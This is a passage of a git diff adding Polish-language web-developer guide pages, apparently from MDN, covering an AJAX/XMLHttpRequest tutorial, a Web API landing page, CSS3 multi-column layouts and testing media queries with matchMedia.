title="pl/XSLT">XSLT</a>, <a href="/pl/DHTML" title="pl/DHTML">DHTML</a></dd> </dl> <h4 id="Wybrane_tematy">Wybrane tematy</h4> <ul> <li><a href="/pl/AJAX/Na_początek" title="pl/AJAX/Na_początek">Pierwsze kroki z AJAX-em</a></li> </ul> </td> </tr> </tbody> +</table> +<p><span>Categories</span></p> +<p><span>Interwiki Language Links</span></p> +<p> </p> +<p> </p> + +<p>{{ languages( { "ca": "ca/AJAX", "cs": "cs/AJAX", "en": "en/AJAX", "es": "es/AJAX", "fr": "fr/AJAX", "it": "it/AJAX", "ja": "ja/AJAX", "ko": "ko/AJAX", "nl": "nl/AJAX", "pt": "pt/AJAX", "ru": "ru/AJAX", "zh-cn": "cn/AJAX", "zh-tw": "zh_tw/AJAX" } ) }}</p> diff --git a/files/pl/web/guide/ajax/na_początek/index.html b/files/pl/web/guide/ajax/na_początek/index.html new file mode 100644 index 0000000000..1e4a4ec491 --- /dev/null +++ b/files/pl/web/guide/ajax/na_początek/index.html @@ -0,0 +1,221 @@ +--- +title: Na początek +slug: Web/Guide/AJAX/Na_początek +tags: + - AJAX + - Wszystkie_kategorie +translation_of: Web/Guide/AJAX/Getting_Started +--- +<p> +</p><p>Ten artykuł pozwoli Ci poznać podstawy technologii AJAX oraz poda dwa proste, gotowe do użycia przykłady. +</p> +<h3 id="Czym_jest_AJAX.3F" name="Czym_jest_AJAX.3F"> Czym jest AJAX? </h3> +<p>AJAX (<i>Asynchronous JavaScript and XML</i>) jest niedawno ukutą nazwą na dwie potężne cechy przeglądarek WWW, które, choć dostępne od lat, były pomijane przez wielu autorów stron, aż do niedawna, gdy na rynku ukazały się takie aplikacje, jak Gmail, Google Suggest i Google Maps. +</p><p>Dzięki tym cechom możesz: +</p> +<ul><li> wysyłać zapytania do serwera bez przeładowywania strony, +</li><li> parsować i pracować z dokumentami XML. +</li></ul> +<p>Termin AJAX jest akronimem. <strong>A</strong> pochodzi od <em>"asynchroniczny"</em>, co znaczy, że możesz wysyłać zapytania HTTP do serwera i robić inne rzeczy w trakcie oczekiwania na odpowiedź. <strong>JA</strong> pochodzi od <em>"JavaScript"</em>, a <strong>X</strong> pochodzi od <em>"XML"</em>. +</p> +<h3 id="Krok_1_.E2.80.93_powiedz_.22Poprosz.C4.99.21.22.2C_czyli_jak_wykona.C4.87_zapytanie_HTTP" name="Krok_1_.E2.80.93_powiedz_.22Poprosz.C4.99.21.22.2C_czyli_jak_wykona.C4.87_zapytanie_HTTP"> Krok 1 – powiedz "Poproszę!", czyli jak wykonać zapytanie HTTP </h3> +<p>W celu stworzenia zapytania HTTP przy użyciu JavaScriptu, potrzebujesz instancji klasy, która posiada żądaną funkcjonalność. Taka klasa została po raz pierwszy wprowadzona w Internet Explorerze, jako obiekt ActiveX, pod nazwą <code>XMLHTTP</code>. Później Mozilla, Safari i inne przeglądarki również dodały taki obiekt, implementując klasę <code>XMLHttpRequest</code>, która obsługuje metody i właściwości oryginalnego obiektu ActiveX. +</p><p>W rezultacie, w celu stworzenia międzyprzeglądarkowej instancji (obiektu) potrzebnej nam klasy, należy wpisać: +</p> +<pre>if (window.XMLHttpRequest) { // Mozilla, Safari, Opera ... + http_request = new XMLHttpRequest(); +} else if (window.ActiveXObject) { // IE + http_request = new ActiveXObject("Microsoft.XMLHTTP"); +} +</pre> +<p>(Na potrzeby przykładu powyższy fragment jest lekko uproszczoną wersją kodu używanego do stworzenia instancji XMLHTTP. Bardziej "życiowy" przykład można znaleźć w punkcie 3. tego artykułu). +</p><p>Niektóre wersje przeglądarek opartych na technologii Mozilli nie zadziałają poprawnie, jeżeli odpowiedź z serwera nie będzie opisana XML-owym nagłówkiem <code>mime-type</code>. Aby rozwiązać ten problem, można użyć dodatkowej metody do nadpisania nagłówka wysyłanego przez serwer, jeśli nie jest to <code>text/xml</code>. +</p> +<pre>http_request = new XMLHttpRequest(); +http_request.overrideMimeType('text/xml'); +</pre> +<p>Następnie należy się zdecydować, co chcesz zrobić po otrzymaniu od serwera odpowiedzi na Twoje zapytanie. Na tym etapie wystarczy powiedzieć obiektowi zapytania HTTP, która funkcja JavaScript będzie opracowywała wynik. Można to uzyskać poprzez ustawienie właściwości <code>onreadystatechange</code> obiektu funkcji JavaScript, której będziesz używał, na przykład: +</p><p><code>http_request.onreadystatechange = nameOfTheFunction;</code> +</p><p>Zwróć uwagę, że nie ma żadnych nawiasów za nazwą funkcji i nie są przekazywane żadne parametry, ponieważ chcemy przypisać referencję do tej funkcji, a nie wywołać ją. Można także, zamiast podawać nazwę funkcji, użyć techniki JavaScript do definiowania funkcji w locie (zwanej "funkcją anonimową") i określić akcje, które przetworzą wynik natychmiast, jak na przykład: +</p> +<pre>http_request.onreadystatechange = function(){ + // instrukcje +}; +</pre> +<p>Następnie, kiedy już zostało zadeklarowane, co będzie się działo zaraz po odebraniu odpowiedzi, należy wykonać zapytanie. W tym celu należy wywołać metody <code>open()</code> i <code>send()</code> klasy zapytania HTTP, tak jak na poniższym przykładzie: +</p> +<pre>http_request.open('GET', 'http://www.example.org/some.file', true); +http_request.send(null); +</pre> +<ul><li> Pierwszy parametr metody <code>open()</code> określa metodę zapytania HTTP - GET, POST, HEAD lub dowolną inną metodę, której chcesz użyć i którą obsługuje serwer. Dla zachowania zgodności ze standardem nazwę metody wpisuj dużymi literami. W przeciwnym razie niektóre przeglądarki (np. Firefox) mogą nie przetworzyć zapytania. Aby dowiedzieć się więcej na temat możliwych metod zapytań HTTP, zajrzyj do <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html">dokumentacji W3C</a>. +</li></ul> +<ul><li> Drugi parametr określa URL strony, która ma zostać odpytana. W celu zwiększenia bezpieczeństwa, nie jest możliwe odpytywanie stron znajdujących się w domenach zewnętrznych (tzw. 3rd-party domains). Upewnij się, że wpisujesz dokładną nazwę domeny, na wszystkich swoich stronach, w przeciwnym razie po wywołaniu metody <code>open()</code> dostaniesz odpowiedź z błędem "brak dostępu" (permission denied). Częstym błędem jest otwieranie strony jako domena.tld, ale wywoływanie stron z www.domena.tld. +</li></ul> +<ul><li> Trzeci parametr decyduje, czy zapytanie ma być asynchroniczne. Jeżeli tak, wykonywanie funkcji JavaScript będzie kontynuowane podczas oczekiwania na odpowiedź z serwera. I to jest właśnie A w nazwie AJAX. +</li></ul> +<p>Parametr metody <code>send()</code> może być dowolną daną, którą chcesz wysłać do serwera w przypadku użycia metody <code>POST</code>. Dane powinny być umieszczone w formie używanej przez ciągi zapytań, czyli: +</p><p><code>name=value&anothername=othervalue&so=on</code> +</p><p>Należy pamiętać o zakodowaniu każdej wysyłanej wartości funkcją <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/encodeURIComponent">encodeURIComponent</a></code>. Na przykład jeśli w środku, jakiegoś przesyłanego łańcucha znajdzie się znak & to "obetnie" nasz łańcuch. Opis tej funkcji w dokumentcji zawiera bardziej szczegółowe informacje. +</p><p>Zwróć uwagę na to, że jeśli chcesz wysłać dane metodą <code>POST</code>, musisz zmienić typ MIME swojego zapytania, używając składni: +</p> +<pre>http_request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); +</pre> +<p>W przeciwnym wypadku, serwer odrzuci dane wysłane metodą POST. +</p> +<h3 id="Krok_2_.E2.80.93_.22Voil.C3.A0.21.22.2C_czyli_obs.C5.82uga_odpowiedzi_serwera" name="Krok_2_.E2.80.93_.22Voil.C3.A0.21.22.2C_czyli_obs.C5.82uga_odpowiedzi_serwera"> Krok 2 – "Voilà!", czyli obsługa odpowiedzi serwera </h3> +<p>Pamiętasz, że w trakcie wysyłania zapytania została podana nazwa funkcji JavaScript, która została przygotowana do obsługi odpowiedzi? +</p><p><code>http_request.onreadystatechange = nazwaFunkcji;</code> +</p><p>Zobaczmy, co ta funkcja powinna zrobić. Najpierw musi ona sprawdzić stan zapytania. Jeżeli status ma wartość 4, oznacza to, że udało się pobrać pełną odpowiedź z serwera i można kontynuować jej przetwarzanie. +</p> +<pre>if (http_request.readyState == 4) { + // wszystko jest OK, odpowiedź została odebrana +} else { + // ciągle nie gotowe +} +</pre> +<p>Możliwe są następujące wartości <code>readyState</code>: +</p> +<ul><li> 0 (niezainicjowane) +</li><li> 1 (w trakcie pobierania) +</li><li> 2 (pobrano) +</li><li> 3 (interaktywne) +</li><li> 4 (gotowe) +</li></ul> +<p>(<a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/readystate_1.asp">Źródło</a>) +</p><p>Następnie należy sprawdzić kod odpowiedzi serwera HTTP. Wszystkie możliwe kody są opisane na <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html">stronie W3C</a>. W tym przypadku interesuje nas tylko odpowiedź <code>200 OK</code>. +</p> +<pre>if (http_request.status == 200) { + // świetnie!! +} else { + // wystąpił jakiś problem z zapytaniem, + // na przykład odpowiedzią mogło być 404 (Nie odnaleziono) + // lub 500 (Wewnętrzny błąd serwera) +} +</pre> +<p>Teraz, kiedy został już sprawdzony stan zapytania i kod statusu odpowiedzi, możesz zrobić co zechcesz z danymi otrzymanymi z serwera. Masz dwie możliwości dostania się do danych: +</p> +<ul><li> <code>http_request.responseText</code> – zwróci odpowiedź serwera jako ciąg znakowy +</li><li> <code>http_request.responseXML</code> – zwróci odpowiedź jako obiekt <code>XMLDocument</code>, z którym można pracować przy użyciu funkcji DOM JavaScriptu. +</li></ul> +<h3 id="Krok_3_.E2.80.93_.22Do_dzie.C5.82a.21.22_-_Prosty_przyk.C5.82ad" name="Krok_3_.E2.80.93_.22Do_dzie.C5.82a.21.22_-_Prosty_przyk.C5.82ad"> Krok 3 – "Do dzieła!" - Prosty przykład </h3> +<p>Stwórzmy teraz proste zapytanie HTTP. JavaScript odpyta serwer o dokument HTML <code>test.html</code>, który zawiera tekst "Jestem testem.", a następnie wyświetlimy ten tekst przy użyciu funkcji <code>alert()</code>. +</p> +<pre><script type="text/javascript" language="javascript"> + + var http_request = false; + + function makeRequest(url) { + + http_request = false; + + if (window.XMLHttpRequest) { // Mozilla, Safari,... + http_request = new XMLHttpRequest(); + if (http_request.overrideMimeType) { + http_request.overrideMimeType('text/xml'); + // Przeczytaj o tym wierszu poniżej + } + } else if (window.ActiveXObject) { // IE + try { + http_request = new ActiveXObject("Msxml2.XMLHTTP"); + } catch (e) { + try { + http_request = new ActiveXObject("Microsoft.XMLHTTP"); + } catch (e) {} + } + } + + if (!http_request) { + alert('Poddaję się :( Nie mogę stworzyć instancji obiektu XMLHTTP'); + return false; + } + http_request.onreadystatechange = function() { alertContents(http_request); }; + http_request.open('GET', url, true); + http_request.send(null); + + } + + function alertContents(http_request) { + + if (http_request.readyState == 4) { + if (http_request.status == 200) { + alert(http_request.responseText); + } else { + alert('Wystąpił problem z zapytaniem.'); + } + } + + } +</script> +<span + style="cursor: pointer; text-decoration: underline" + onclick="makeRequest('test.html')"> + Odpytaj +</span> +</pre> +<p>W tym przykładzie: +</p> +<ul><li> użytkownik klika na odnośnik "Odpytaj" w przeglądarce; +</li><li> to wywołuje funkcję <code>makeRequest</code> z parametrem - nazwą <code>test.html</code> pliku HTML w tym samym katalogu; +</li><li> wysyłane jest zapytanie, a następnie (<code>onreadystatechange</code>) wywołanie jest przenoszone do <code>alertContents()</code>; +</li><li> <code>alertContents()</code> sprawdza uzyskaną odpowiedź i wyświetla treść pliku <code>test.html</code> przy użyciu funkcji <code>alert()</code>. +</li></ul> +<p>Możesz przetestować ten przykład <a class="external" href="http://www.w3clubs.com/mozdev/httprequest_test.html">tutaj</a> i zobaczyć testowy plik <a class="external" href="http://www.w3clubs.com/mozdev/test.html">tutaj</a>. +</p><p><b>Uwaga</b>: Jeżeli strona wywołana przez XMLHttpRequest nie jest poprawionym XML-em (np. kiedy jest plikiem tekstowym), linia <code> http_request.overrideMimeType('text/xml');</code> spowoduje pojawienie się błędów w konsoli JavaScript w Firefoksie 1.5 i późniejszych. Zostało to opisane na stronie: <a class=" link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=311724" rel="freelink">https://bugzilla.mozilla.org/show_bug.cgi?id=311724</a>. Jest to zachowanie właściwe; ten artykuł zostanie niedługo poprawiony, aby dostosować się do tej zmiany. +</p><p><b>Uwaga 2</b>: jeżeli wysyłasz zapytanie do skryptu, który ma zwrócić XML, zamiast do statycznego pliku XML, musisz ustawić nagłówki odpowiedzi, jeśli chcesz, aby zadziałało to także w Internet Explorerze. Jeżeli nie ustawisz nagłówka <code>Content-Type: application/xml</code>, IE zwróci błąd JavaScript "Object Expected" po wierszu, w którym próbujesz dostać się do XML-owego elementu. Jeżeli nie ustawisz nagłówka <code>Cache-Control: no-cache</code>, przeglądarka doda odpowiedź do pamięci podręcznej i nigdy nie wyśle żądania ponownie, sprawiając, że praca nad skryptem może być "kłopotliwa". +</p><p><b>Uwaga 3</b>: jeżeli zmienna <code>http_request</code> jest używana globalnie, konkurujące funkcje wywołujące <code>makeRequest()</code> mogą nadpisywać siebie nawzajem, tworząc problemy. Określenie zmiennej <code>http_request</code> lokalnie dla funkcji i przekazywanie jej do funkcji <code>alertContent()</code> pozwala uniknąć takiej sytuacji. +</p><p><b>Uwaga 4</b>: Aby zarejestrować funkcję zwrotną (callback function) <code>onreadystatechange</code>, nie możesz użyć argumentów. Dlatego też poniższy kod nie zadziała: +</p> +<pre>http_request.onreadystatechange = alertContents(http_request); // (nie działa) +</pre> +<p>Z tego względu, aby zarejestrować tę funkcję pomyślnie, należy albo przekazać argumenty pośrednio poprzez funkcję anonimową, albo użyć <code>http_request</code> jako zmiennej globalnej. Oto przykłady: +</p> +<pre>http_request.onreadystatechange = function() { alertContents(http_request); }; //1 (simultaneous request) +http_request.onreadystatechange = alertContents; //2 (global variable) +</pre> +<p>Metoda pierwsza pozwala mieć wiele zapytań przetwarzanych jednocześnie, a metoda trzecia może być używana jeśli <code>http_request</code> jest zmienną globalną. +</p><p><b>Uwaga 5</b>: W przypadku błędu połączenia (na przykład kiedy serwer WWW został wyłączony), zostanie wyrzucony wyjątek w metodzie onreadystatechange podczas próby odczytania zmiennej .status. Z tego względu dobrze jest opakować wyrażenie if...then w try...catch. (Zobacz: <a class=" link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=238559" rel="freelink">https://bugzilla.mozilla.org/show_bug.cgi?id=238559</a>). +</p> +<pre>function alertContents(http_request) { + + try { + if (http_request.readyState == 4) { + if (http_request.status == 200) { + alert(http_request.responseText); + } else { + alert('Wystąpił problem z tym żądaniem.'); + } + } + } + catch( e ) { + alert('Złapany wyjątek: ' + e.description); + } + + } +</pre> +<h3 id="Krok_4_.E2.80.93_.22Z_archiwum_X.22_czyli_praca_z_odpowiedzi.C4.85_XML" name="Krok_4_.E2.80.93_.22Z_archiwum_X.22_czyli_praca_z_odpowiedzi.C4.85_XML"> Krok 4 – "Z archiwum X" czyli praca z odpowiedzią XML </h3> +<p>W poprzednim przykładzie, po otrzymaniu odpowiedzi z serwera, użyliśmy właściwości <code>responseText</code> obiektu zapytania i zawierała ona treść pliku <tt>test.html</tt>. Teraz spróbujmy użyć właściwości <code>responseXML</code>. +</p><p>Przede wszystkim stwórzmy prawidłowy dokument XML, o który odpytamy potem serwer. Taki dokument (<tt>test.xml</tt>) może wyglądać tak: +</p> +<pre><?xml version="1.0" ?> +<root> + Jestem testem. +</root> +</pre> +<p>W skrypcie musimy tylko zmienić linię zapytania na: +</p> +<pre>... +onclick="makeRequest('test.xml')"> +... +</pre> +<p>Potem w <code>alertContents()</code> musimy zmienić linię <code>alert(http_request.responseText);</code> na: +</p> +<pre>var xmldoc = http_request.responseXML; +var root_node = xmldoc.getElementsByTagName('root').item(0); +alert(root_node.firstChild.data); +</pre> +<p>W ten sposób pobraliśmy obiekt <code>XMLDocument</code>, zwrócony przez <code>responseXML</code> i skorzystaliśmy z metod DOM, aby dostać się do danych zawartych w dokumencie XML. Możesz zajrzeć do dokumentu XML <code>test.xml</code> <a class="external" href="http://www.w3clubs.com/mozdev/test.xml">tutaj</a> oraz do zaktualizowanego skryptu <a class="external" href="http://www.w3clubs.com/mozdev/httprequest_test_xml.html">tutaj</a>. +</p><p>Aby dowiedzieć się więcej o metodach DOM, zajrzyj do dokumentów <a class="external" href="http://www.mozilla.org/docs/dom/">Mozilla's DOM implementation</a>. +</p> +<div class="noinclude"> +</div> +{{ languages( { "ca": "ca/AJAX/Primers_passos", "de": "de/AJAX/Getting_Started", "en": "en/AJAX/Getting_Started", "es": "es/AJAX/Primeros_Pasos", "fr": "fr/AJAX/Premiers_pas", "it": "it/AJAX/Iniziare", "ja": "ja/AJAX/Getting_Started", "ko": "ko/AJAX/Getting_Started", "pt": "pt/AJAX/Como_come\u00e7ar", "ru": "ru/AJAX/\u0421_\u0447\u0435\u0433\u043e_\u043d\u0430\u0447\u0430\u0442\u044c", "zh-cn": "cn/AJAX/\u5f00\u59cb", "zh-tw": "zh_tw/AJAX/\u4e0a\u624b\u7bc7" } ) }} diff --git a/files/pl/web/guide/api/index.html b/files/pl/web/guide/api/index.html new file mode 100644 index 0000000000..0d56f6ab30 --- /dev/null +++ b/files/pl/web/guide/api/index.html @@ -0,0 +1,25 @@ +--- +title: Przewodnik po internetowych interfejsach API +slug: Web/Guide/API +tags: + - API + - Landing + - Przewodnik + - TopicStub + - Web +translation_of: Web/Guide/API +--- +<p>Współczesne technologie tworzenia aplikacji internetowych przy użyciu JavaScript wykorzystuje całą gamę interfejsów API, dzięki którym można tworzyć zaawansowane i wydajne aplikacje, uruchamiane w sieci web, lokalnie albo na serwerach za pośrednictwem takich technologii jak <a href="https://nodejs.org/">Node.js</a>. Na tej stronie można znaleźć kompletną listę wszystkich interfejsów API dostarczanych przez cały stos współczesnych technologii internetowej.</p> + +<h2 id="Interfejsy_API_od_A_do_Z">Interfejsy API od A do Z</h2> + +<p>{{ListGroups}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/pl/docs/Web/API">Informator internetowych interfejsów API</a> (indeks wszystkich interfejsów API przeznaczonych do tworzenia aplikacji internetowych w JavaScript)</li> + <li><a href="/pl/docs/Web/API/Document_Object_Model">Obiektowy model dokumentu (Document Object Model - DOM)</a></li> + <li><a href="/pl/docs/Web/Events">Informator API zdarzeń</a></li> + <li><a href="/pl/docs/Learn">Nauka tworzenia stron i aplikacji internetowych</a></li> +</ul> diff --git a/files/pl/web/guide/css/kolumny_css3/index.html b/files/pl/web/guide/css/kolumny_css3/index.html new file mode 100644 index 0000000000..19d3c4285a --- /dev/null +++ b/files/pl/web/guide/css/kolumny_css3/index.html @@ -0,0 +1,65 @@ +--- +title: Kolumny CSS3 +slug: Web/Guide/CSS/Kolumny_CSS3 +tags: + - CSS + - CSS_3 + - Wszystkie_kategorie +translation_of: Web/CSS/CSS_Columns/Using_multi-column_layouts +--- +<p> +</p> +<h3 id="Wprowadzenie" name="Wprowadzenie"> Wprowadzenie </h3> +<p>Czytanie tekstu wyświetlanego w długich wierszach jest trudne i męczące dla oczu - jeśli przenoszenie wzroku z końca jednej linii na początek drugiej zajmuje zbyt wiele czasu, łatwo jest zgubić się w tekście i rozpocząć czytanie niewłaściwego wiersza. Z tego powodu i aby w pełni wykorzystać szerokość ekranu, tekst na stronach internetowych - tak samo jak w gazetach - powinien być układany w sąsiadujących kolumnach o stałej szerokości. Niestety osiągnięcie tego efektu nie jest możliwe przy użyciu języków HTML i obecnego CSS bez wymuszania sztywnej wysokości kolumn, znacznego ograniczania dozwolonej składni wewnątrz tekstu bądź też bez stosowania skomplikowanych skryptów. +</p><p><a class="external" href="http://www.w3.org/TR/2001/WD-css3-multicol-20010118">Szkic specyfikacji CSS3</a> proponuje kilka nowych własności CSS, które rozwiązałyby ten problem. W Firefoksie 1.5 i następnych zaimplementowana została część tych własności i zachowują się one w sposób opisany przez szkic specyfikacji (z jednym wyjątkiem opisanym niżej). </p><p>Aby zobaczyć, jak działają kolumny CSS, odwiedź (korzystając z Firefoksa 1.5) <a class="external" href="http://weblogs.mozillazine.org/roc/">blog Roberta O'Callahana</a>. +</p> +<h3 id="Stosowanie_kolumn" name="Stosowanie_kolumn"> Stosowanie kolumn </h3> +<h4 id="Liczba_i_szeroko.C5.9B.C4.87_kolumn" name="Liczba_i_szeroko.C5.9B.C4.87_kolumn"> Liczba i szerokość kolumn </h4> +<p>Własności CSS pozwalają okreslić liczbę i szerokość kolumn, w jakich zostanie wyświetlony tekst na stronie: <code>-moz-column-count</code> oraz <code>-moz-column-width</code>. +</p><p><code>-moz-column-count</code> pozwala ustalić liczbę kolumn. Na przykład: +</p> +<pre><div style="-moz-column-count:2">Z powodu trwających przygotowań do wydania Mozilli +Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00). +Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1, +którego wydanie zaplanowane jest na czwartek.</div> +</pre> +<p>Powyższy tekst powinien zostać w Firefoksie 1.5 wyświetlony w dwu kolumnach: +</p> +<div style="">Z powodu trwających przygotowań do wydania Mozilli Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00). Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1, którego wydanie zaplanowane jest na czwartek.</div> +<p><code>-moz-column-width</code> pozwala natomiast określić minimalną pożądaną szerokość kolumn. Jeśli przy okazji własność <code>-moz-column-count</code> nie jest ustalona, przeglądarka automatycznie wyświetli tyle kolumn, ile zmieści się w jej oknie. Na przykład tekst: +</p> +<pre><div style="-moz-column-width:20em;">Z powodu trwających przygotowań do wydania Mozilli +Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00). +Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1, +którego wydanie zaplanowane jest na czwartek.</div> +</pre> +<p>przeglądarka wyświetli następująco: +</p> +<div style="-moz-column-width: 20em;">Z powodu trwających przygotowań do wydania Mozilli Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00). Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1, którego wydanie zaplanowane jest na czwartek.</div> +<p>Szczegóły dotyczące kolumn CSS opisano w <a class="external" href="http://www.w3.org/TR/2001/WD-css3-multicol-20010118">szkicu specyfikacji CSS3</a>. +</p><p>W przypadku wyświetlania wielokolumnowego, treść automatycznie przepływa do następnych kolumn, jeśli zachodzi taka potrzeba. Cała funkcjonalność HTML, CSS oraz DOM jest zachowana, podobnie jak możliwość edycji i drukowania. +</p><p><br> +</p> +<h4 id="Wyr.C3.B3wywanie_wysoko.C5.9Bci_kolumn" name="Wyr.C3.B3wywanie_wysoko.C5.9Bci_kolumn"> Wyrówywanie wysokości kolumn </h4> +<p>Szkic specyfikacji CSS3 zakłada, że wysokości kolumn powinny być wyrównywane przez przeglądarkę w taki sposób, by wysokości treści w każdej kolumnie były możliwie najbardziej zbliżone. I to właśnie robi Firefox. +</p><p>Czasami jednak pojawia się potrzeba jednoznacznego zdefiniowania wysokości kolumn. W takim przypadku treść - w zależności od długości - wyświetlana powinna być w różnej, nieznanej projektantowi liczbie kolumn. Efekt ten zastosowano na stronach <a class="external" href="http://iht.com">International Herald Tribune</a>, gdzie jednak użyto w tym celu odpowiednich skryptów. Firefox rozszerza szkic specyfikacji CSS w taki sposób, że nadanie blokowi kolumn własności <code>height</code> powoduje wydłużanie się kolumn do określonej wysokości, a po osiągnięciu tejże - utworzeniu nowej kolumny. Zachowanie to jest bardzo przydatne przy tworzeniu układów stron WWW. +</p> +<h4 id="Odst.C4.99p_mi.C4.99dzy_kolumnami" name="Odst.C4.99p_mi.C4.99dzy_kolumnami"> Odstęp między kolumnami </h4> +<p>Domyślnie, przeglądarka wyświetla kolumny jedna tuż obok drugiej, przylegające do siebie. Zazwyczaj jednak nie jest to zachowanie pożądane. Aby poprawić tę sytuację, można za pomocą CSS ustawić dla kolumn odpowiednie wartości marginesów wewnętrznych, często jednak o wiele łatwiej zastosować jest własność <code>-moz-column-gap</code> ustawianą dla bloku kolumn: +</p> +<pre><div style="-moz-column-width:20em; -moz-column-gap:2em;">Z powodu trwających +przygotowań do wydania Mozilli Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś +w nocy o 23:59 PDT (UTC -7:00). Od tego momentu żadne nowe poprawki nie będą +przyjmowane do Firefoksa 1.5 Beta 1, którego wydanie zaplanowane jest na czwartek.</div> +</pre> +<div style="-moz-column-width: 20em;">Z powodu trwających przygotowań do wydania Mozilli Firefox 1.5 Beta 1 drzewo zostanie zamrożone dziś w nocy o 23:59 PDT (UTC -7:00). Od tego momentu żadne nowe poprawki nie będą przyjmowane do Firefoksa 1.5 Beta 1, którego wydanie zaplanowane jest na czwartek.</div> +<h4 id="Czytelno.C5.9B.C4.87_w_starszych_przegl.C4.85darkach" name="Czytelno.C5.9B.C4.87_w_starszych_przegl.C4.85darkach"> Czytelność w starszych przeglądarkach </h4> +<p>Starsze przeglądarki ignorują własności -moz-column, dzięki czemu stosunkowo łatwo jest utworzyć stronę, której treść będzie wyświetlana w pojedynczej kolumnie w starszych przeglądarkach, a w wielu kolumnach w Firefoksie 1.5. +</p> +<h3 id="Zako.C5.84czenie" name="Zako.C5.84czenie"> Zakończenie </h3> +<p>Kolumny w CSS3 to nowe narzędzie, które pomoże projektantom stron internetowych w najlepszy możliwy sposób wykorzystywać cenną powierzchnię ekranów uzytkowników. Dzięki takim opcjom jak automatycze wyrównywanie wysokości, kolumny na pewno znajdą wiele zastosowań w tworzeniu stron internetowych. +</p> +<h3 id="Dodatkowe_zasoby" name="Dodatkowe_zasoby"> Dodatkowe zasoby </h3> +<ul><li> <a class=" external" href="http://weblogs.mozillazine.org/roc/archives/2005/03/gecko_18_for_we.html" rel="freelink">http://weblogs.mozillazine.org/roc/a...18_for_we.html</a> +</li></ul> +{{ languages( { "en": "en/CSS3_Columns", "es": "es/Columnas_con_CSS-3", "fr": "fr/Colonnes_CSS3", "it": "it/Le_Colonne_nei_CSS3", "ja": "ja/CSS3_Columns", "ko": "ko/CSS3_Columns" } ) }} diff --git a/files/pl/web/guide/css/sprawdzanie_media_queries/index.html b/files/pl/web/guide/css/sprawdzanie_media_queries/index.html new file mode 100644 index 0000000000..140d3a1796 --- /dev/null +++ b/files/pl/web/guide/css/sprawdzanie_media_queries/index.html @@ -0,0 +1,116 @@ +--- +title: Sprawdzanie media queries +slug: Web/Guide/CSS/Sprawdzanie_media_queries +translation_of: Web/CSS/Media_Queries/Testing_media_queries +--- +<p>{{SeeCompatTable}}</p> + +<p>DOM dostarcza funkcje, dzięki którym możliwym jest sprawdzenie wyników media query. Jest to możliwe przy użyciu interfejsu {{domxref("MediaQueryList") }} i jego funkcji oraz właściwości. Po utworzeniu obiektu {{domxref("MediaQueryList") }} możesz zbadać wynik zapytania (query) lub (dodatkowo) otrzymywać powiadomienie, gdy rezultat się zmieni.</p> + +<h2 id="Creating_a_media_query_list" name="Creating_a_media_query_list">Tworzenie listy media query</h2> + +<p>Zanim będziesz mógł ocenić wynik zapytania, musisz utworzyć obiekt {{domxref("MediaQueryList") }}, <span class="short_text" id="result_box" lang="pl"><span class="hps">reprezentujący</span></span> media query. Aby to uczynić użyj metody {{domxref("window.matchMedia") }}.</p> + +<p>Na przykład, jeśli chcesz ustalić czy orientacja urządzenia jest pionowa czy pozioma, możesz skorzystać z takiego zapytania jak poniżej:</p> + +<pre>var mql = window.matchMedia("(orientation: portrait)"); /* sprawdzamy czy orientacja obiektu, jest pionowa; zwraca obiekt MediaQueryList */ +</pre> + +<h2 id="Checking_the_result_of_a_query" name="Checking_the_result_of_a_query">Sprawdzanie rezultatu zapytania (query)</h2> + +<p>Po wykonaniu powyższej metody, mamy dostęp do obiektu {{domxref("MediaQueryList") }}, który ma kilka przydatnych metod i właściwości. Jedną z nich jest cecha <code>matches</code>, która zwraca <code>prawdę</code> lub <code>fałsz</code>.</p> + +<pre class="brush: js">if (mql.matches) { + /* wykryta orientacja pionowa */ +} else { + /* wykryta orientacja pozioma */ +} +</pre> + +<h2 id="Receiving_query_notifications" name="Receiving_query_notifications">Otrzymywanie powiadomień</h2> + +<p>W przypadku, gdy chciałbyś na bieżąco dostawać alerty o stanie zapytania (query), skorzystaj z funkcji <code>addListener()</code>, która jest zdecydowanie wydajniejsza aniżeli sprawdzanie "ręcznie" co jakiś czas. By skorzystać z tego ułatwienia, wywołaj tę funkcję na obiekcie {{domxref("MediaQueryList") }}, określając <span class="short_text" id="result_box" lang="pl"><span class="hps">obserwator, który implementuje</span></span> interfejs {{domxref("MediaQueryListListener") }}:</p> + +<pre class="brush: js">var mql = window.matchMedia("(orientation: portrait)"); +mql.addListener(zmianaOrientacji); +zmianaOrientacji(mql); +</pre> + +<p>Powyższy kod tworzy media query list, a następnie dołącza listener. Zauważ, że po dodaniu listenera, przywołaliśmy listenera bezpośrednio - trzecia linijka. To pozwala nam określić aktualną orientację urządzenia.</p> + +<p>Zaimplementowana metoda <code>zmianaOrientacji()</code> pozwala nam wykonać pewne czynności, gdy zmieni się położenie urządzenia.</p> + +<pre class="brush: js">function zmianaOrientacji(mql) { + if (mql.matches) { + /* wykryta orientacja pionowa */ + } else { + /* wykryta orientacja pozioma */ + } +} +</pre> + +<h2 id="Ending_query_notifications" name="Ending_query_notifications">Wyłączenie powiadomień</h2> + +<p>Gdy nie potrzebujesz już powiadomień dotyczących zmiany wartości zapytania, możesz wywołać metodę <code>removeListener()</code> dostępną w obiekcie {{domxref("MediaQueryList") }}:</p> + 